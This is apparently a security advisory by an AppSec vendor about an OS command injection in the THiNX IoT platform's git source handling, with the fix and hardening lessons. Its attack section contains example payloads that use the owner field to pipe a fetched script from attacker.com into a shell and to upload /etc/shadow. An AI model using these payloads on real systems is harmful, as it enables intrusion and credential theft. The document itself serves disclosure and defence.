Affected Versions
| Affected | not applicable (first-party code) |
| Fixed in | not applicable (first-party code) — see linked PR |
| Ecosystem | N/A (first-party Node.js code) |
| CVE / GHSA | not assigned |
| CWE | CWE-78 (OS Command Injection) |
The Vulnerability Explained
The THiNX platform's source management system builds git commands dynamically to fetch firmware repositories. The code constructs these commands by concatenating user-controlled values:
let TEMP_PATH = this.getTempPath(source.owner, source.source_id);
let sanitized_branch = this.normalizedBranch(source, callback);
// ...
git.fetch(sanitized_url, sanitized_branch, source.owner)
The critical flaw: while sanitized_branch and sanitized_url passed through validation functions, source.owner flowed directly from the API request into git.fetch(). This parameter originates from the /api/user/source endpoint where attackers can create or modify repository sources.
Inside the Git class, these values ultimately reach exec operations through string concatenation. An attacker providing source.owner with a value like '; curl attacker.com/exfil | sh # would have their command executed when the git operation runs.
The vulnerability's impact is severe because:
- Source configuration is typically persistent — one malicious payload executes repeatedly
- Git operations run server-side with the platform's privileges
- IoT firmware platforms often have network access to devices, making lateral movement attractive
Attack Scenario
Consider a developer using THiNX to manage firmware for a device fleet. An attacker with compromised credentials or a malicious insider account creates a new source:
POST /api/user/source
{
"url": "https://github.com/legit/firmware",
"branch": "main",
"owner": "legit'; curl -d @/etc/shadow https://attacker.com/leak #"
}
When THiNX attempts to fetch this repository, the unsanitized owner value injects a command that exfiltrates sensitive files before the git operation completes.
The Fix
The remediation adds explicit sanitization for the source.owner field using the existing sanitka validation library:
let sanitized_owner = sanitka.owner(source.owner);
if (sanitized_owner === null) {
console.log("source add rejected: source_owner_insane", source.owner);
return callback(false, "source_owner_insane");
}
source.owner = sanitized_owner;
This follows a reject-on-sanitization-failure pattern: if sanitka.owner() returns null, the operation aborts entirely rather than attempting to "clean" the input. This is safer than trying to strip dangerous characters, which often fails against creative bypasses.
The same pull request addressed a related vulnerability in cleanupDirectory():
// Before:
let CLEANUP = "cd " + cleanup_path + "; rm -rf *";
exec.execSync(CLEANUP);
// After:
fs.emptyDirSync(cleanup_path);
This eliminates shell invocation entirely for directory cleanup, removing the attack surface regardless of input validation.
A third hardening change in get_inner_path() adds path.basename() to prevent directory traversal when reading repository contents:
file => fs.lstatSync(temp_path + "/" + path.basename(file)).isDirectory()
Key Takeaways
-
Validate every parameter that reaches shell commands, not just the obvious ones. The THiNX code sanitized
branchandurlbut missedownerbecause it seemed like "just a username." -
Prefer library functions over shell commands. The
fs.emptyDirSync()replacement removes an entire vulnerability class without requiring perfect input validation. -
Use rejection rather than transformation for dangerous inputs. The
sanitka.owner()pattern that returnsnullon failure is more robust than attempting to strip or escape metacharacters. -
Apply
path.basename()when traversing user-controlled directories. Without this, maliciously named entries like../../../etccould escape intended boundaries.
How Orbis AppSec Detected This
Source: The source.owner parameter from the /api/user/source API endpoint
Sink: git.fetch() which passes concatenated strings to exec operations in the Git class
Missing control: No call to sanitka.owner() or equivalent validation before the owner value reached shell command construction
CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: Added sanitka.owner() validation with null-reject semantics, plus elimination of exec.execSync() in favor of fs.emptyDirSync() for directory operations
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability illustrates how partial sanitization creates a false sense of security. The THiNX codebase had validation infrastructure (sanitka) and applied it to some parameters, but the source.owner field slipped through—likely because it appeared less "dangerous" than URLs or branch names. The fix demonstrates defense in depth: adding the missing validation, replacing shell commands with native filesystem operations, and hardening path traversal protections. For IoT platforms managing firmware across device fleets, such command injection vulnerabilities are particularly critical, as they can compromise both cloud infrastructure and the edge devices it controls.